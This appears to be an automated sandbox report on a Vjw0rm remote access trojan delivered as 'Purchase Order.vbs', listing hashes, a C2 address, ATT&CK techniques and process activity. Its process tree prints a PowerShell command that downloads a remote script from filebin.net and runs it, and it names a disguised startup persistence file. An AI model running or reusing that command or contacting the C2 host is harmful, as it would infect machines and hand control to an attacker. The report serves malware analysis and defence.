vjw0rm | 4144993550833321f6031796034f3afe5fecbcc61fc61bfab403fefba4e6dccc

General

Target

Purchase Order.vbs
Size

5KB
MD5

1679b30714601c805ca6c79ffc52013d
SHA1

f450951426f056cc66ce7232a1ea12cbd4f5acd5
SHA256

4144993550833321f6031796034f3afe5fecbcc61fc61bfab403fefba4e6dccc
SHA512

c78233a43e091342bae5e3344e85f2ab21e1e249095b589ccade5e559fd6630ea71ac9319fe5c455d82a568a47a9c54db71da28dfb93df8556c66b8b2db83923

Score

10^/10

vjw0rm trojan worm

Malware Config

Extracted

Family

vjw0rm

C2

http://rick63.publicvm.com:1849

Signatures

Vjw0rm
Vjw0rm is a remote access trojan written in JavaScript.
trojan worm vjw0rm
Blocklisted process makes network request 5 IoCs

Processes:

WScript.exepowershell.exepowershell.exe

flow pid process

3 1472 WScript.exe
5 1472 WScript.exe
12 2764 powershell.exe
15 2764 powershell.exe
17 1940 powershell.exe

flow	pid	process
3	1472	WScript.exe
5	1472	WScript.exe
12	2764	powershell.exe
15	2764	powershell.exe
17	1940	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WScript.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000\Control Panel\International\Geo\Nation	WScript.exe

Drops startup file 1 IoCs

Processes:

powershell.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\IntelGraphicsDriverUpdates.vbs	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exepowershell.exe

pid process

2764 powershell.exe
2764 powershell.exe
1940 powershell.exe
1940 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 2764 powershell.exe
Token: SeDebugPrivilege 1940 powershell.exe

pid	process
2764	powershell.exe
2764	powershell.exe
1940	powershell.exe
1940	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2764	powershell.exe
Token: SeDebugPrivilege	1940	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

WScript.exepowershell.exe

description	pid	process	target process
PID 1472 wrote to memory of 2764	1472	WScript.exe	powershell.exe
PID 1472 wrote to memory of 2764	1472	WScript.exe	powershell.exe
PID 2764 wrote to memory of 1940	2764	powershell.exe	powershell.exe
PID 2764 wrote to memory of 1940	2764	powershell.exe	powershell.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Purchase Order.vbs"
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1472

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy RemoteSigned -Command Invoke-WebRequest -Uri 'https://filebin.net/x1d0okkwum9anzzs/SYSWOW64.PS1' -OutFile 'C:\Users\Public\SYSWOW64.PS1'; PowerShell -File C:\Users\Public\SYSWOW64.PS1
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2764

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -File C:\Users\Public\SYSWOW64.PS1
3⤵
- Blocklisted process makes network request
- Drops startup file
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1940

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Public\SYSWOW64.PS1
Filesize
3KB

MD5
0866c5b72df63add6f9884806682308a

SHA1
6b157db9a413b8e7d7c33b8b4a5713cdbf6f4dea

SHA256
860cae2ca6d44d8d9a34df314e7b3f1a64116f2ebe6279ed160fc2f0d7ebea95

SHA512
bc865a758fa7790e346a7ebb19cd3a3871f7aa16b88b80116bad0846d88104203f81bfd4bf73c46b1d770950c6ff0b48475e313277d51171c42227fe3128b82b

Download Submit
memory/1940-133-0x0000000000000000-mapping.dmp

Download
memory/1940-135-0x00007FF8E6F20000-0x00007FF8E79E1000-memory.dmp

Filesize
10.8MB

Download
memory/1940-137-0x00007FF8E6F20000-0x00007FF8E79E1000-memory.dmp

Filesize
10.8MB

Download
memory/2764-130-0x0000000000000000-mapping.dmp

Download
memory/2764-131-0x000001E978E10000-0x000001E978E32000-memory.dmp

Filesize
136KB

Download
memory/2764-132-0x00007FF8E6F20000-0x00007FF8E79E1000-memory.dmp

Filesize
10.8MB

Download
memory/2764-136-0x00007FF8E6F20000-0x00007FF8E79E1000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

Loading Replay Monitor...

Downloads